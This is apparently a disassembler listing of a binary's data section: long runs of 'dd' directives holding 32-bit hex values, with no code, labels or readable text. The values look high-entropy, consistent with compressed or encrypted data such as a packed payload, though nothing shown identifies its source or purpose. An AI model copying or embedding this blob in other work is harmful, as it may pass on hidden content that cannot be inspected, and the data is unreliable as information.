		dd 675486D3h, 98EC00FCh, 1FF5008Ch, 27626005h, 0C0B80854h
		dd 8A04FFE2h, 93AD063h,	0A65BDC8Ah, 5166A0BCh, 9FE41E73h
		dd 30360749h, 0A0B79584h, 0C52764F0h, 4F606158h, 0FF80242Eh
		dd 0E500146Eh, 0E34559FFh, 1B2531A7h, 0E776F2h,	0B5FBAAC8h
		dd 53004447h, 0D2DA70DEh, 14342149h, 386D624Bh,	28C92B8h
		dd 0BBBE4671h, 18575488h, 25E052A0h, 2C504D5Eh,	844122ECh
		dd 0A8003426h, 98A09EC8h, 50001C79h, 0B9D7DD0Eh, 1EB24B9Ah
		dd 16AD81C9h, 8450BC96h, 0E380DBBFh, 0CA3870h, 0CB4BC5ABh
		dd 0B59B7EFBh, 8DAC2C04h, 0ECE85079h, 0A0C8F75Ah, 0E5732B3h
		dd 95DFB2Eh, 3FA1A45Fh,	969A010Dh, 0C63820C8h, 4C045C5Eh
		dd 50BE8617h, 3B4EA004h, 191235Ch, 3634FD30h, 6BE6D58Ah
		dd 55D33C82h, 695594B9h, 92C03D28h, 0FCB6623Ah,	4A23EBh
		dd 1FE9CEA6h, 4B0C99D0h, 215FE70Ch, 2772E0D9h, 0F47BFFB1h
		dd 2DAAA78h, 8E7CD4DFh,	450472F0h, 1F405488h, 0EEB66FE1h
		dd 7E0900A4h, 0D677BE0Ah, 0D195D912h, 0ABE0B001h, 8472AEB0h
		dd 5DD98682h, 4080F609h, 26328038h, 82B7E801h, 78694652h
		dd 9008282Eh, 98424942h, 23304CE2h, 1C0F3C40h, 6A58D94Ah
		dd 5101B06Ah, 643F1AC5h, 9EC07049h, 27D96F40h, 0ACD9F6D0h
		dd 0C0F9761Ah, 828FB608h, 6554BA55h, 604FC4CCh,	4DD691EEh
		dd 5020FC2Fh, 9407172Ch, 0ECF34D13h, 6B3093A2h,	38AA250Eh
		dd 164AC04h, 0ADFED3CEh, 7B1C307Eh, 0B34CCFD5h,	8C67BCFCh
		dd 9B19F70Fh, 4B912FAh,	0A8DCAD93h, 38080B62h, 0B4E9738Eh
		dd 6AA835F2h, 2B8A949Bh, 63BA09E4h, 1587FC5Bh, 475DEE9h
		dd 56F5B092h, 0C07925D8h, 0CE1862F1h, 4C8E2203h, 9187C6D3h
		dd 0CEE25EDAh, 0A80540E8h, 910F8890h, 0B21088C3h, 0C961F480h
		dd 15E89AE2h, 0D87E302Ah, 10BD30Ch, 0F9CC40h, 0B9D4DD5h
		dd 78960EBFh, 27684801h, 0F06F3FFAh, 0C4195802h, 0A875D7DAh
		dd 4674E038h, 10960039h, 7AF1453Bh, 0E15F131Ah,	0BCF8ED6Bh
		dd 13270E1h, 9A0B3AA3h,	0C1C48EC1h, 3D902D7Ah, 795BA538h
		dd 5C146A40h, 0D2003946h, 973E8018h, 102408C3h,	6F9A1C8Eh
		dd 450C5661h, 0A3E4C267h, 0A6EC9440h, 5514E295h, 490030B7h
		dd 648FC8CEh, 895E1201h, 8F08BDFFh, 60228451h, 414E3CC8h
		dd 44207E54h, 84A5DAh, 0BF897443h, 199DBC36h, 0CD1E0700h
		dd 0A58CE8A6h, 64F5127Eh, 8904E32Dh, 0F1DCD966h, 0EFFC193Bh
		dd 27BB0732h, 0A940AA43h, 0C45668EAh, 0D3F2DF40h, 0B3E20001h
		dd 7CAB8A14h, 0F3001BA9h, 0BD581952h, 0E3AD36F0h, 0E7C0056Ah
		dd 783AAB6Dh, 0F0093623h, 0A55CD32Bh, 65914095h, 8AA91880h
		dd 0B748232Eh, 10D94AEDh, 8A60982Bh, 531A1812h,	0E6D20CE2h
		dd 6B79A0ACh, 0F8D90BB0h, 0ECE4576Dh, 0D87B800Fh, 8E2D8399h
		dd 0D9B801DAh, 105272C4h, 90017E7Eh, 70DECA8Bh,	7F00823Fh
		dd 50D1F08Eh, 5B408E68h, 42C809DBh, 1C47FF95h, 1A613144h
		dd 11842074h, 0A8966609h, 2D645EA2h, 1205CCB7h,	0F8BC9A09h
		dd 3BF8280h, 960036EDh,	0B08B4BF9h, 49834EFh, 0BA91D785h
		dd 0F548B8CFh, 0E39F208Bh, 1B2A1507h, 57F34732h, 0AFBB9884h
		dd 0C400086Bh, 58A71090h, 51047AC6h, 50D8C57Ch,	0E6C2D300h
		dd 549E90F6h, 886D102h,	3D142365h, 9BB1F017h, 9A807CACh
		dd 0FF5649A1h, 0F9A74C1Fh, 4D80E49Dh, 7A9358DCh, 0CC4020D2h
		dd 807F30CFh, 0CD8B781h, 0DBDE4F5Ah, 18B80C4h, 53588FAh
		dd 0A4644DEBh, 5F3CC055h, 70887C87h, 60426BC4h,	0DC6C54h
		dd 14CEBD88h, 85B74706h, 0D225F202h, 9063ACBEh,	0ECAEBA88h
		dd 6FC93CDEh, 0D80198D8h, 0DDCAA098h, 0BC047860h, 0AB058C4Dh
		dd 30BED56Eh, 0ED12FCFCh, 18E93Ah, 56485A5h, 0FD128Dh
		dd 200B5D6Bh, 0E1E5EC01h, 0E8E2F02Eh, 49005F11h, 82C0258Ch
		dd 36026769h, 0ED78AE3Ah, 103577BBh, 0D6C4449Eh, 6A82BF97h
		dd 8AF8688Eh, 7F062030h, 8528F0C9h, 8006134h, 1333FC7Dh
		dd 66EA0737h, 4C8CDED5h, 5898DCD8h, 0FE6F4612h,	34E8F0E8h
		dd 5791008Ch, 0F5D29B3Ch, 0B1F8C6E8h, 8FE2A898h, 3E046049h
		dd 0CC588F3Ah, 561C0996h, 85180910h, 8C51605Eh,	6B24DB10h
		dd 0BC087F5Dh, 45F102E5h, 2A240703h, 16CEEE0h, 488D3A27h
		dd 9F552EDCh, 0A4C07090h, 8101D402h, 570AE17Ch,	58596409h
		dd 0F8CCBE80h, 277A83C8h, 18F8E8DEh, 50C34412h,	0C7B178BCh
		dd 74700BFh, 2EC65A18h,	191230Ch, 0D410C36Eh, 9370204Ah
		dd 0AEAC8750h, 0B2DD7D00h, 2A2D82B7h, 0E862486Ch, 0A9BBC165h
		dd 6ACC8h, 8303A266h, 3020AD8Fh, 540B764Fh, 5D884839h
		dd 0A3F500F3h, 0B2E33B4Fh, 0FC4DB6D4h, 44D54A4Ch, 88EC68F9h
		dd 690C0B01h, 0AC2D04BEh, 55E86C20h, 887EC06Ah,	170018ECh
		dd 4672D22Fh, 2D669C80h, 0F0734DA1h, 0C6DE6A0Bh, 76E02000h
		dd 4E56E712h, 0ED9618BCh
		dd 3D80B89Ch, 247843A2h, 12541377h, 23E83A7Ah, 44D2024Ch
		dd 0BC56BA01h, 9820E512h, 0F844B6Fh, 0E0DAF306h, 7C20F037h
		dd 0C8BF58B8h, 0C33035BCh, 91570F1h, 0A03FE5A0h, 2A938200h
		dd 2174B28Dh, 0E1200998h, 60736094h, 57887D10h,	4EB05E80h
		dd 65DB9FAh, 6C8DAACh, 0D61C796Ch, 380A4DE1h, 3E80C85Ah
		dd 0A2108ABDh, 3C10C460h, 36AC81BCh, 54CC2B73h,	0C8D98821h
		dd 0D296322Fh, 0B2194B84h, 0CB9F00DCh, 0EAC1AE8Fh, 257602h
		dd 9768EF96h, 0E8A98AADh, 0D818FD09h, 209066DBh, 0CD0304FCh
		dd 0EDF005E8h, 5E12E053h, 16E8A485h, 0B92EEF6Ah, 0F4BE08F0h
		dd 30026076h, 0DB807E3Ah, 878A4AE0h, 0B125E02Ch, 0FD258C07h
		dd 57C5824h, 1CDED202h,	0C9A05661h, 862E60F4h, 1E9224BCh
		dd 5728BC82h, 0C8475082h, 9D168444h, 0BC4556h, 14CCB000h
		dd 22F410EEh, 0CBC6E43Bh, 58AD1C80h, 0CB40292Dh, 0E40C0BF0h
		dd 0EF0B2CD2h, 52A0EA43h, 0B8F61094h, 8ED30A37h, 40AFF090h
		dd 7D5C8058h, 88813452h, 260FC31h, 0E8DCAF5Dh, 1FF0A036h
		dd 60F016E9h, 0B6D54853h, 64805A20h, 2E5824DDh,	0E069138h
		dd 29F8D466h, 0C23C5E36h, 88024FABh, 0C81DD77Bh, 62803591h
		dd 0C38B1861h, 0DA252890h, 7A98226Bh, 0EAA00E84h, 343ED508h
		dd 1CB9A64Ah, 0C09C9A5Bh, 0D56359C1h, 0D97A0D99h, 26091FAh
		dd 97D5559Ch, 806391CCh, 10C55998h, 9DEE01DCh, 26D17A77h
		dd 19B44169h, 286B2EC6h, 4592016h, 0B95E660h, 7E6476D5h
		dd 79039946h, 0B3DC495Ah, 0F42CF7D8h, 2000E448h, 0F3732F0Bh
		dd 9B04E8B7h, 0C2AB2AE6h, 3ED74C14h, 0F46DBDA8h, 24CF949h
		dd 0D5CF6E6h, 46765CFEh, 9DBF3965h, 6A8284B5h, 0D551E50Eh
		dd 90919C9Dh, 0C4A78B82h, 4F27B05Ch, 7631408Ch,	1107A32h
		dd 88049672h, 804A46E8h, 0F6E17380h, 34D8B40h, 35D213E6h
		dd 848117Eh, 2C874B7Ch,	12D5104Ch, 859EE16Ch, 2028AB10h
		dd 6478A7AFh, 6A146092h, 278AEC7Ah, 0CC02630h, 4C91CFE3h
		dd 6FE854A5h, 52D08E64h, 55C204B8h, 807648BEh, 74327A09h
		dd 0A23E403Ch, 0B00B16F5h, 5CCAD2D5h, 4F73E428h, 38175302h
		dd 0C4AD0884h, 0BB01A3C4h, 88003C7Ah, 947F2376h, 51266CD8h
		dd 8702D8DEh, 0F64D341Eh, 26E3E288h, 467C245Eh,	0D204004Ah
		dd 0FF5A0B1Ah, 92ACA36Eh, 54B00072h, 0D89448B6h, 48B45825h
		dd 28228070h, 0A0E1AF4Ah, 5ABC6038h, 15EFA8Ch, 155B76D4h
		dd 6575E10Ch, 946E7AD8h, 0D3BC9309h, 10CC8257h,	45C0926h
		dd 44F9DC40h, 89360484h, 0AD0DE6E9h, 0B8E4D424h, 59008C61h
		dd 0D9DD7E2h, 25922519h, 4798EACh, 0FFD28085h, 9B4F40A8h
		dd 10568190h, 860FE7Bh,	746C09C5h, 0FC5EAAEBh, 6A6DFC00h
		dd 4A2E84C9h, 5E10A39Eh, 6808CDBh, 0C7BE7916h, 0CA0F5D00h
		dd 8ABF7B70h, 3EFC5FE0h, 0E482318h, 9E1AB12h, 2F463AF3h
		dd 5CEDC416h, 0B53CE0B8h, 6CE70F80h, 0D48CE0C0h, 8067AC8Eh
		dd 0C85AC4DAh, 0E0303CB5h, 3960406Eh, 3F010899h, 92CB2812h
		dd 975122C4h, 0BED5E8A0h, 48C74EF8h, 5E19EEE6h,	59467C14h
		dd 0F5DB953Dh, 88252BD8h, 0B20020EEh, 0E7F2B4FBh, 1516AC07h
		dd 0E4B4E918h, 66E808A8h, 7458018Ch, 0D35A06ACh, 2A4EDD86h
		dd 92B200B3h, 26B82630h, 8707145h, 470B6BF6h, 92B856D6h
		dd 97C401D4h, 2DC46A01h, 8A5F128Ch, 0C83620D3h,	8677BEEh
		dd 6AEAC979h, 0D4EC4D13h, 0A053BB89h, 1B009759h, 19C05847h
		dd 957A1196h, 0EF033A15h, 20C8EEA4h, 0DCED9DDCh, 0EA1753C0h
		dd 4D520184h, 7F1077AAh, 288521C5h, 8D2B8178h, 0B12BA8F7h
		dd 0CF4DCC51h, 9B145F00h, 0CC9F1610h, 0B64900ADh, 71374147h
		dd 18B6E80Ch, 0DC188393h, 13EE9749h, 9424Ah, 0F0B0DB59h
		dd 820FAEF1h, 44057DB1h, 20BB653Ch, 0FAC96904h,	0E21690E8h
		dd 0ACF6D740h, 0BC24135Bh, 8C59E82Ch, 982CDF24h, 804CE927h
		dd 5C39E838h, 0FE69068Bh, 0D6CBF05Eh, 666B4040h, 0F0BDAE77h
		dd 0EE910051h, 44980DE4h, 8F2CD6B4h, 0B20BA80Bh, 94B7B3h
		dd 7793E1FDh, 0C425ACB5h, 9FE464E0h, 75C424C7h,	6366D560h
		dd 0A9F76C00h, 60076F93h, 7AD4305Fh, 0FF970664h, 9128C595h
		dd 0DC6E4BB7h, 240ED838h, 8E026639h, 8C5AEA87h,	6040D89Eh
		dd 5F5F2FFh, 188AD2A4h,	0B7A4A0FAh, 24CE9D4Bh, 88C80BBDh
		dd 5964CF4Ah, 384DC033h, 10E888F4h, 0BA95AF05h,	84099E44h
		dd 5D305832h, 7E81C88Bh, 50E3C947h, 14C215C4h, 0C597FF25h
		dd 4A010BDCh, 46760CD6h, 0D8190E4Dh, 0DED081CCh, 806B4115h
		dd 505BB298h, 0C13F842h, 724897FFh, 9C483ED8h, 0E70B2E9Dh
		dd 7612D6D2h, 94467C50h, 0E6FAFB00h, 3950F063h,	3200E091h
		dd 8E08EBD9h, 3DAD0068h, 3146726Bh, 760026F0h, 0BFFBF107h
		dd 5EDED364h, 0D6B8C0A8h, 0C4B05718h, 34B960D6h, 7995F2B8h
		dd 0C6FC0098h, 0A26671FEh, 2316CE1Dh, 35B7E500h, 4ABA4C82h
		dd 224A213h, 49FF7540h,	6882FD2Fh, 3AD5B72Eh, 5E7C74D4h
		dd 17009746h, 80C90519h, 0D5165DB9h, 0BC2270D6h, 97A52058h
		dd 1ECBB3Bh, 0CE7AA704h, 24F82A1Ch, 48C59ECh, 38887A87h
		dd 9002FA2Ah, 0F7491ED0h, 0A0DD084h, 45E9FCD3h,	60936478h
		dd 0B8C7F41Fh, 58C42F24h, 8E663CA2h, 7E69045Eh,	4E5E084Ch
		dd 0AC11E901h, 5CCEA310h, 45DB62DCh, 0FBC08055h, 4A81E4D7h
		dd 54C6E6Dh, 85DF2D6Fh,	0F92C05FFh, 0CC34AE66h,	49F288E2h
		dd 9ACDB30h, 0F3FF4BF9h, 0D16BC856h, 0D54000B4h, 0B085E014h
		dd 0C309C4F8h, 80B157A4h, 8E388A3Ch, 0B416977Ch, 70B5B5h
		dd 4CC4D023h, 744A36AAh, 0C16B8B3h, 46C08CE0h, 174D8E40h
		dd 0DB6A6DE4h, 22FC8064h, 269ABB88h, 0CF2CD916h, 28817CE9h
		dd 4BFE6736h, 0C531C868h, 0C1D4A883h, 6EFAE0D9h, 7A10D039h
		dd 51D7C573h, 16E814B9h, 0ED0CF500h, 0D440237Eh, 1C98BD06h
		dd 0AD07BB7Bh, 0EA690D10h, 8151D5A1h, 17F01C66h, 5C093442h
		dd 0D6650DE1h, 0A92424B4h, 1894F9B8h, 9BD23AC2h, 8CB94B70h
		dd 790D7DA8h, 0D107DF40h, 71AA3841h, 3C90B102h,	282D168Ch
		dd 5454692Fh, 0AD60136Eh, 0EB77B878h, 21B4CA2Ah, 1866F9A0h
		dd 4E900944h, 0E001EFEBh, 304F955Ah, 655B9220h,	4BB230B3h
		dd 81CC8032h, 1A0A71DCh, 0C823D16Bh, 62AE9040h,	32C1D981h
		dd 0CB4AFC6Ch, 0D8390C8Ch, 96B3A810h, 737ED684h, 90753000h
		dd 355FDCB7h, 34C258D2h, 15502426h, 0EF0ED8E6h,	37E94D73h
		dd 0FC7442h, 24C465Eh, 0A2E0DAF9h, 27505E9Ch, 75115C1Dh
		dd 3F00098Eh, 71956048h, 52073D14h, 0DEE807ECh,	0C7899F74h
		dd 60674444h, 4A76A83Dh, 0E46088F3h, 53621E1Dh,	5F5E61C0h
		dd 3C9FAA65h, 7CC4C840h, 0C416840Bh, 88885E31h,	502574F4h
		dd 0C37D00D4h, 0E662BBEAh, 0A09E7CC6h, 38DAD0Bh, 0B127854Ch
		dd 47E240DBh, 609744C0h, 3B8D2474h, 54857FC0h, 1356D45Eh
		dd 0E0F4A6D0h, 0AB4CF3h, 0EBE4D01Ah, 0E88A69D9h, 38A1B65Ah
		dd 40B9D804h, 0F300CEB8h, 0AAF8EC43h, 5A1B3013h, 58F0E787h
		dd 8C63B828h, 2CC35300h, 9C7E62A0h, 0CB40299Eh,	0E88E0ECCh
		dd 0AEAAD985h, 4B23643Ah, 0AF512E00h, 0FAABD44Fh, 10E4B421h
		dd 8ED5050Eh, 52AE62A4h, 7028ABF4h, 0E02A886Bh,	2372F223h
		dd 0E0CA59A0h, 0E502B85Bh, 0FDE1B7D9h, 38E25D37h, 0A102480h
		dd 405EADB0h, 0E4F02889h, 0C0827EEh, 0B80284EAh, 360407B0h
		dd 1F68D0E4h, 9C1123ACh
		dd 876F9D40h, 0C0F95EEEh, 9D3D2A13h, 0D3177BF8h, 4B058DEh
		dd 633A19D6h, 4036400Fh, 26FC7E38h, 4EC07A48h, 2CF018F6h
		dd 0E2096A2Eh, 8F525922h, 0D0A07216h, 904D97B3h, 968C8B60h
		dd 9FEE1203h, 4ECCE3F4h, 5823782Fh, 0E0A6710Fh,	4DDD2AE6h
		dd 49D0306Ah, 26D8A821h, 28BEDE7Ch, 3C0F72DCh, 563FBDFAh
		dd 88C08FDBh, 0A1FFC097h, 9C00BD73h, 5C0E8037h,	0B56882EEh
		dd 3904F4CCh, 5822E08Ah, 0C21474AEh, 0BA22A640h, 0DC787C4Eh
		dd 91A7DB00h, 0CEA3F4CAh, 0A63A07D2h, 0E184875Fh, 2F7F7633h
		dd 0E214D442h, 0CF785C6Bh, 34B012B1h, 513C5420h, 2C6903EEh
		dd 150EC191h, 1A9880B7h, 79007073h, 754E4428h, 80407CD6h
		dd 4D5CE1DCh, 511C00A4h, 0D3A1437Ah, 0B0A2FE1Fh, 0B53E12E4h
		dd 10D8AD68h, 4827C15h,	3A10457Eh, 89654B95h, 6FD2F168h
		dd 509B604Bh, 8B5B4028h, 3C1FA0B0h, 57124939h, 7CC401EFh
		dd 52F9415h, 0B23820ABh, 9B004F9Eh, 12755A1Dh, 402528h
		dd 2E9180Fh, 6394BED4h,	81603B97h, 7E0897CAh, 5EB000F5h
		dd 0A17F6989h, 2B0B387Ah, 62919Fh, 64D05644h, 8C90BD47h
		dd 962DE80Ah, 24C0715Fh, 43250024h, 805E01B6h, 4E519225h
		dd 8E750C10h, 0B7995A74h, 22E04D44h, 12FC867Ah,	25615940h
		dd 4C789EE1h, 0BE709195h, 2B033A10h, 10F31820h,	1EFF91C2h
		dd 0C03E1681h, 1827AAEh, 0BFD9312Dh, 5036D8C4h,	0CEE46280h
		dd 0EC526825h, 9C61EB0h, 42F0C074h, 78CBE23Dh, 2CF44EB5h
		dd 611434F2h, 4412630h,	7E56B00Bh, 0AEF40A0h, 8A4E131Ch
		dd 5EBA5809h, 231DD67Ch, 0CE0043BCh, 7EE8CDC4h,	47F49E9h
		dd 0D7D6D51Eh, 0AC185670h, 0F8E42980h, 4A22D100h, 2E714B1Fh
		dd 25CCC219h, 0AC7B2862h, 2BC84D0h, 0CF139A49h,	0F84095E0h
		dd 0D1806FDAh, 3F650212h, 2F288398h, 5C0004F9h,	60A5BD93h
		dd 0C4AD17C2h, 548FDE0h, 7AE6DA78h, 0A882C584h,	4E74D2CDh
		dd 0C870CB71h, 9709CB4Ch, 9288357Dh, 0BA8F00F2h, 96AA287Bh
		dd 21424430h, 6BAE94h, 3063A62Bh, 48DC4C4Ah, 1814C40Fh
		dd 55A0A9DEh, 5282B890h, 9137C739h, 6BD6C48Ch, 76D403A8h
		dd 0F831B81Fh, 0FEE16A72h, 10F090E6h, 125B78DEh, 0ECACC4DCh
		dd 0BE30859Fh, 0AC2FAE50h, 6FC03EC8h, 5A626Bh, 2CD174C3h
		dd 0BB7095E5h, 465CC894h, 595F0049h, 0BFF929A5h, 0C8DE136Ah
		dd 810E958h, 42030C20h,	0EF754DC0h, 5EE7401Ch, 0EB4E0C48h
		dd 4AD2B089h, 34EF5F88h, 0DE8D9440h, 0E6FE0428h, 13309816h
		dd 5280E80Fh, 6FA435ABh, 3B7B03B8h, 0FF33FEB4h,	5F1C8A80h
		dd 0E4534B3Ah, 0C301B7C4h, 0FA63981Ah, 57F2EFBEh, 0CD207C14h
		dd 0F471249h, 0A428ABFAh, 0B49FBDF0h, 27814F11h, 30FB812Ah
		dd 14A5CA8h, 7EC10CB9h,	0D54C847h, 800CDA2Bh, 9A0D156Ah
		dd 0DEF8008Ah, 0FCD9C22Ah, 2771850Ch, 56AE4E25h, 26164034h
		dd 211CB9A7h, 9AC0E8BBh, 82B3E77Bh, 652B0428h, 0AEA28679h
		dd 7CDB7812h, 9E2B9B80h, 0A8044DA9h, 0DF624682h, 2F4ACCB8h
		dd 0F642344h, 44804224h, 0FC36B249h, 85872C38h,	0FBD37C2Ah
		dd 0E2905CAEh, 914454A7h, 2EE91161h, 94ECC012h,	3A8C59ECh
		dd 0E600661Eh, 0E44DA20Ah, 68961816h, 0C4E3AF12h, 0A9E15912h
		dd 0A4FC4A14h, 23902EA4h, 5642461h, 0C0265299h,	940BB856h
		dd 0C9F4C2B7h, 5838BA9Ch, 1F8C3BE8h, 0AE71D4F5h, 394C0987h
		dd 0C04FC849h, 0A85C519Ah, 0BC812EC4h, 3CC1F261h, 2C043AE8h
		dd 0C4B8EA73h, 9884AA80h, 0E6D882AAh, 4645C4A3h, 35C42100h
		dd 0CB6412CAh, 42410076h, 802AB0D2h, 489888A2h,	0F45DDC4Ah
		dd 395059EDh, 0A7D21281h, 2B86AF76h, 0F1C8C8h, 1A9F2946h
		dd 758EF694h, 14550E1Fh, 0AD7C8BF9h, 60907C83h,	0DFA8616Ah
		dd 0A309FC00h, 0B789DC75h, 0B75A4A88h, 0FCE65E18h, 3F5D35A0h
		dd 0E652CAA0h, 7270F62Fh, 94D61068h, 8E75A59h, 0A014A65Eh
		dd 7FE76406h, 32C801A5h, 0D234CF9Eh, 80986B7Ch,	3A580021h
		dd 584FE62h, 6B1019A9h,	0CF4AD35Eh, 0C061C858h,	0CA7756Dh
		dd 0CD7F20E6h, 28C60902h, 555C2218h, 4D955CCEh,	9ED4C0BCh
		dd 0BB09929Ch, 2D0AAEh,	7F03074h, 3C7B9DAAh, 0F85178h
		dd 13D7F657h, 595B8144h, 2810CE01h, 8BFAC8C4h, 23F83B7Ah
		dd 0EF0E003Bh, 6D560136h, 2FEC995Ch, 8A7405FEh,	0A18B4A8h
		dd 3A6760B1h, 0D12DCF2Dh, 0ECEDAFE8h, 88BC48C4h, 0C4428h
		dd 6D59DEA9h, 0AD1C995Ch, 0EDC88600h, 0DA168339h, 45481F7Bh
		dd 0D6400944h, 0E90C6068h, 0D920A495h, 8A444FBh, 4470AF01h
		dd 0F0CFB975h, 0C8EC4B76h, 54009C28h, 9D31CE04h, 0F0B44613h
		dd 1CD006Ch, 209FD281h,	1CB4BBA9h, 44C465Ch, 8E2EC41Fh
		dd 2E9604EDh, 184F2378h, 0AC1F822Fh, 0F1CD402Fh, 0C00B96D4h
		dd 0F8CCBFC4h, 5C054125h, 0EB8C64A0h, 186BBCC8h, 187568BEh
		dd 12F5ADCh, 5C64C22Eh,	2BE5810h, 0DAFA461Ch, 71957A09h
		dd 7E8FC4ECh, 28197403h, 0E1B8E58Ch, 8044EA43h,	0D4EF3FDDh
		dd 826A1016h, 0E45CB198h, 114CCA75h, 0A8A24E33h, 0A7A64F00h
		dd 4A801039h, 7B1D2575h, 0BB926CB8h, 3BB0F8A6h,	8F06E239h
		dd 0E348DB1h, 0DF5D0E71h, 0B9CFB895h, 0BCF09780h, 0E45A66E5h
		dd 408804E2h, 0EC23DA8Ah, 1F5CE25Bh, 27849011h,	805CB880h
		dd 24CDB4Dh, 0E86EB593h, 2283597h, 0FAD319EDh, 36DC99D5h
		dd 0F394402Ah, 18E4FFFCh, 98C56D27h, 805F0C54h,	0C495C4D6h
		dd 78909B10h, 0B101B5BEh, 329C2607h, 882B1694h,	0A69070E0h
		dd 0C0F4CAB5h, 4AC51498h, 7370C043h, 0C92F7ADDh, 135CD836h
		dd 0C15E188Ah, 0E0A2B1BCh, 704A7EE0h, 3ABCB8ADh, 0F9FA028Ch
		dd 0B5311417h, 3AD51462h, 59A8F9B8h, 0EE661892h, 2A400FB4h
		dd 0B9B226E0h, 0A8A9D6B8h, 0F848D5B8h, 10A20481h, 0D8B857E9h
		dd 97E840D4h, 4D13008Ch, 0F375CC49h, 64010286h,	8AA3E21Eh
		dd 5DFA1DE3h, 6440D0CFh, 0B6B59C9h, 0F332D190h,	0CB61D056h
		dd 6E6F61C3h, 0C9330168h, 0DB2DD328h, 4AAD8AFCh, 0E06CB671h
		dd 12AA5CE4h, 0F3D639C7h, 0F47042Ch, 88BED21Bh,	57005F60h
		dd 9941BAAFh, 39349553h, 0A901AADDh, 0E15A5891h, 7C1064CEh
		dd 1CF3DA4Ah, 0A5F0822Fh, 60C9B826h, 8F607424h,	0CF3DD8h
		dd 5A5B4556h, 5FCD1CFCh, 8B9AF4Ah, 0C90A6CEh, 5902CB47h
		dd 2270B019h, 0C2C05D4h, 824548FFh, 0ECB160C3h,	34FC88BAh
		dd 44573E00h, 0BB168C45h, 0F48A0092h, 0F6E911A6h, 6EB52C4Ch
		dd 0D86497A4h, 8883E900h, 0AA289AB4h, 38C90043h, 64482465h
		dd 469D4E16h, 20887E1Ch, 3A977CC6h, 14CD7D28h, 51143F40h
		dd 9F530771h, 980416E6h, 0F183AF38h, 70DE0494h,	0E838AE05h
		dd 0E50C8840h, 0E48C29B5h, 897700D0h, 0A26063A4h, 345ECEE4h
		dd 0D4D8380Ah, 3FC2F160h, 7CCA0016h, 1B1A6E89h,	3700DEF4h
		dd 36739D81h, 4B0F7BA9h, 141CB2B4h, 9C508F5Eh, 0A0B05214h
		dd 604C169Eh, 0D0B6190Dh, 0E7B7E876h, 61904480h, 0C87A391Ch
		dd 7B00A8FCh, 465C6370h, 43B9E03h, 0A10DCB5h, 86BAFE7h
		dd 4F095923h, 54985725h, 94EE12D1h, 908C202Ch, 80E02E12h
		dd 68BA9F52h, 3D4B55Fh,	86C5F004h, 0D0B7FD8h, 0C45E4212h
		dd 8881D8B8h, 9367D618h, 580F1E70h, 2EB20FCh, 27176C2Eh
		dd 0D0622C86h, 90F97879h, 52124B18h, 0B8203481h, 0D4B925h
		dd 6AB88DCh, 5144780Eh,	7D1C3B04h, 0DBFA0CC4h, 35C9850Ch
		dd 0CCC000EAh, 0F6E17AB2h
		dd 8C6A8445h, 0E4BF55F4h, 81ED0E58h, 408EFFD2h,	75E0F8ECh
		dd 6C80B612h, 8C5F2820h, 10C38861h, 327A8200h, 0E886D006h
		dd 7F305C7h, 0A0E0157Eh, 0DD2DCBE4h, 0C0C4CD60h, 0EE014A6Ah
		dd 0E781B525h, 83F1CF7Ch, 0BD322873h, 27C1C81h,	0B99D1507h
		dd 0CB350000h, 0B2C56394h, 40E54E45h, 865AC884h, 6F05E2B5h
		dd 3C583124h, 3EAB2DC5h, 1C3B233Ch, 0AA1E879Bh,	0C4A953B2h
		dd 24557682h, 0DC5D6C68h, 920400FDh, 18C5D1C9h,	0DCA94F00h
		dd 0B1C18B82h, 44D898F4h, 0DA137703h, 1002B3B0h, 72416h
		dd 4473F4CDh, 0CD08BA25h, 605864F4h, 0E26AD2DBh, 0B89895DFh
		dd 40B50117h, 127C2AF0h, 0C05ED4BEh, 0B902BF74h, 18E7875Ah
		dd 0A8B8BD4Ah, 0E1035A5Ah, 4C6B7A0Ch, 2A802103h, 0BFD85598h
		dd 0F1C5CE0h, 9396E13Dh, 30A218B8h, 16D8AC5Bh, 0ECCE5BF1h
		dd 0CFC00ADh, 0B3CF269Dh, 30429503h, 1E71808Eh,	9880787Ah
		dd 0B1E8A8EBh, 0BECA00ECh, 0F83CBD0Ah, 5E183E44h, 3A816083h
		dd 0B7FA0973h, 8429B0C9h, 465E50DEh, 34057F75h,	795CEA9Eh
		dd 8A7159C0h, 91BE487Ah, 0ED9C804Bh, 44B553B4h,	0DE3BE9E0h
		dd 5619808Ch, 0E2E5A3h,	92F54FE4h, 0E0D3B131h, 0D1EAC301h
		dd 0A33ADCD8h, 0E664382Fh, 16988F40h, 49BE108Ah, 34548B10h
		dd 0AD3F04DCh, 800F2FCCh, 0E15CAE9Bh, 80A5BE5Fh, 9ED900D3h
		dd 72B73D6Ah, 79954744h, 1CB7A764h, 0C050090Fh,	0E9A66E9h
		dd 9D360413h, 0AC8CBE4Ah, 90205FE0h, 0FF47AB62h, 0E17FD8h
		dd 7067598Dh, 40A8F38Eh, 0BA3524Ch, 6447FC0Ch, 64D19594h
		dd 548808B1h, 0ED50A02Bh, 0F6F8DA0Ch, 3461E068h, 8396E7Ah
		dd 1C8005B4h, 8FD5F98Bh, 0DBBE25A6h, 0EB035CDCh, 0C814D6CDh
		dd 0B5AB2F78h, 6D9774CCh, 0AD70C004h, 18160A11h, 8CB85EFAh
		dd 0A840FDB4h, 7A77131Fh, 0C104ACDFh, 2D38C68Ch, 0F208F33Ah
		dd 0DD623091h, 0B2C8DA12h, 0C1380E8h, 0CB14BCE3h, 0C0A412C2h
		dd 0B553EC80h, 3A1178C5h, 9ED8D909h, 2EADE841h,	99D6D404h
		dd 29CDE703h, 0D2AC9288h, 695C3A00h, 0B97C725Ah, 805E11B2h
		dd 40700123h, 0DA6AC5F8h, 127C562Fh, 0AD38E488h, 0E403B427h
		dd 723010F4h, 0CDB0265h, 0F086E82Ah, 351130F4h,	60792CF8h
		dd 0B7B59A04h, 0DCEC5E14h, 768404D6h, 0DE7B0B6Fh, 7ADE0CECh
		dd 20C41C51h, 88124A66h, 0B60356Ch, 0BEC39B41h,	0B6572DEh
		dd 54FA602Dh, 97E2B482h, 0A54A8200h, 0F848276Dh, 0FE00F85Ch
		dd 0E724D11h, 0E4A34A52h, 198B32E8h, 715A8E80h,	0DED51081h
		dd 0E4655AE8h, 0E14440h, 95B3C8CEh, 69113479h, 74A6CB06h
		dd 7B00305Ch, 4FDFB7B1h, 2CBE7570h, 8A5C45F0h, 354D8DAh
		dd 627A188Ah, 384D7922h, 5881D6D1h, 8B3607F4h, 30FAD10Fh
		dd 7D5A1AC8h, 0F32A44E1h, 3066B280h, 0F805D7B8h, 885E1AA1h
		dd 0AE6F020h, 64292004h, 0DA6410B7h, 0EB15010Ch, 0FF1F752Dh
